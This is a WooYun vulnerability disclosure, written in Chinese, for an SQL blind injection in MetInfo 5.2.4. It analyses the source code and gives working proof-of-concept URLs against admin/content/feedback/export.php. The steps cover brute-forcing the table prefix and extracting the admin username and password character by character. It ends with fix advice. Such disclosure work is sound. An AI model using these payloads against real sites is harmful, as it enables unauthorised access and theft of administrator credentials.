WooYun-2014-55338:MetInfo最新版(5.2.4)一处SQL盲注漏洞
漏洞作者: Mody
来源:http://www.wooyun.org/bugs/wooyun-2014-055338
简要描述
上周三挖了个metinfo的后台文件包含,被乌云大大给忽略了,好吧,我承认那个洞的确太难用了。。。今天刚挖到一处sql注入,就屁颠屁颠的来乌云提交了,求乌云大大给过,我不要继续当路人甲阿。。。还是上次那句话,貌似metinfo都交给cncert了,弱弱问下,那还有通用性奖励么?
WooYun回答:有!
详细说明
借用http://**.**.**.**/bugs/wooyun-2010-043795的一句话:审计代码我一般喜欢先看核心文件
1. 来看核心的文件admin/include/common.inc.php(下面的代码有我自己添加的调试代码)
/*
* added by mody
* glocal register
*/
//print '-----------global register----------<br>';
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
/*
if(is_array($$_key)){
print '$'.$_key.'=';
print_r($$_key);
print '<br>';
}
else print '$'.$_key.'='.$$_key.';<br>';
*/
}
}
//print '-----------------------------------<br>';
注册全局变量,可以看到所有的变量都经过了daddslashes()过滤
2. 来看看daddslashes()函数,在文件admin/include/global.func.php
/*POST变量转换*/
function daddslashes($string, $force = 0 ,$sql_injection =0,$url =0){
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
if(is_array($string)){
if($url){
//$string='';
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}else{
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}
}else{
if(SQL_DETECT!=1 || $sql_injection==1){
$string = str_ireplace("\"","/",$string);
$string = str_ireplace("'","/",$string);
$string = str_ireplace("*","/",$string);
$string = str_ireplace("~","/",$string);
$string = str_ireplace("select", "\sel\ect", $string);
$string = str_ireplace("insert", "\ins\ert", $string);
$string = str_ireplace("update", "\up\date", $string);
$string = str_ireplace("delete", "\de\lete", $string);
$string = str_ireplace("union", "\un\ion", $string);
$string = str_ireplace("into", "\in\to", $string);
$string = str_ireplace("load_file", "\load\_\file", $string);
$string = str_ireplace("outfile", "\out\file", $string);
$string = str_ireplace("sleep", "\sle\ep", $string);
$string_html=$string;
$string = strip_tags($string);
if($string_html!=$string){
$string='';
}
$string = str_replace("%", "\%", $string); //
}
}
return $string;
}
可以看到,是能够传递array变量进来的(前台的include/include/global.func.php 不能)
3. 注入点admin/content/feedback/export.php,这里有亮点啊
这个文件包含了admin/include/common.inc.php,但是却没有进行login_check,所以导致这个文件能够不登录直接访问。如下:
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://**.**.**.**). All rights reserved.
ob_start();
$depth='../';
require_once $depth.'../include/common.inc.php';
ob_clean();
ob_start();
接着他进行了一项很危险的操作:
foreach($settings_arr as $key=>$val){
if($val['columnid']==$class1){
$tingname =$val['name'].'_'.$val['columnid']; //这里导致变量名必须含有下划线的都可以被覆盖
$$val['name']=$$tingname;
}
}
其中,$settings_arr,$class1都可以在common.inc.php中被覆盖,这就导致可以构造一定格式的变量(变量名必须要有下划线)
那么,如何利用,我们来找下面的sql语句,总共有三句,找第一句即可
$query = "SELECT * FROM $met_parameter where module=8 and lang='$lang' order by no_order";
//>>>>注意,$met_parameter是在$settings_arr后被初始化的,不能直接覆盖,但是可以结合上面的危险操作,进行覆盖<<<<
//print $query.'<br>';
//die();
$result = $db->query($query);
while($list= $db->fetch_array($result)){
/*
print '<br><br>$list=';
print_r($list);
*/
$feedbackpara[$list['id']]=$list; // 注意这里的id
$feedback_para[]=$list;
}
/////////////////////////////
我是猥琐的poc(其中的met_admin_table的met为metinfo自定义的前缀,可以用户自定义)
http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter
/////////////////////////////
对于查询的到的结果,会写入excel文件内,但是因为列名是规定得死死的,不能直接把admin_table表的password列直接写进excel,但是id是可以的,这就足够进行盲注了
漏洞证明
验证漏洞的存在:
1. 其中met_为我实验环境metinfo的前缀(若要复线请根据实际情况修改), admin_id=0x61646d696e 为字符串'admin'(过滤了单引号)
http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table where admin_id=0x61646d696e -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter
然后测试一组错误的,把'admin'改成'admil'试试
http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table where admin_id=0x61646d696c -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter
结果对比图如下
可以看到两个文件的大小是不一样滴,给大家看看这个excel里到底有啥区别
step1:暴力破解metinfo前缀
用brup进行破解,这个不用我多解释了把,根据返回大小
http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter
step2: 破解admin账户
还是brup,用substr 一个个来
http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table where substr(admin_id,1,1)=0x61 -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter
step3:破解admin密码
同上
http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table where admin_id=0x61646d696e and substr(admin_pass,1,1)=0x32 -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter
修复方案
1. include check_login
2. export.php的那个危险的$$注意下
3. 打赏点rank吧,我不用当路人甲阿。。。